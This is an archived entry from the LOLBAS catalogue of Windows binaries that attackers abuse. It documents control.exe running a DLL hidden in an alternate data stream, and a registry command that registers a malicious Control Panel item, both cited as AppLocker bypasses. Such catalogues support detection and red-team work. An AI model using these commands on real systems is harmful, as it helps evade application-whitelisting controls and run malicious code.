UPDATE BOOKMARKS - PROJECT MOVED TO A DEDICATED PROJECT SITE. THIS SITE WILL NOT BE UPDATED ANYMORE, BUT WILL BE KEPT FOR HISTORICAL REASONS.
New site: https://github.com/LOLBAS-Project/LOLBAS Web portal: https://lolbas-project.github.io/
- Functions: Execute, Read ADS
control.exe c:\windows\tasks\file.txt:evil.dll
Acknowledgements:
- Jimmy - @bohops
Code sample: *
Resources:
- https://pentestlab.blog/2017/05/24/applocker-bypass-control-panel/
- https://www.contextis.com/resources/blog/applocker-bypass-registry-key-manipulation/
- https://bohops.com/2018/01/23/loading-alternate-data-stream-ads-dll-cpl-binaries-to-bypass-applocker/
- https://twitter.com/bohops/status/955659561008017409
Full path:
C:\Windows\system32\control.exe
C:\Windows\sysWOW64\control.exe
Notes: Add registry in HKCU\Software\Microsoft\Windows\currentversion\controlpanel\CPLS to manipulate.
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Control Panel\Cpls"
/v EvilCPL.cpl /t REG_SZ /d "C:\Folder\EvilCPL.cpl"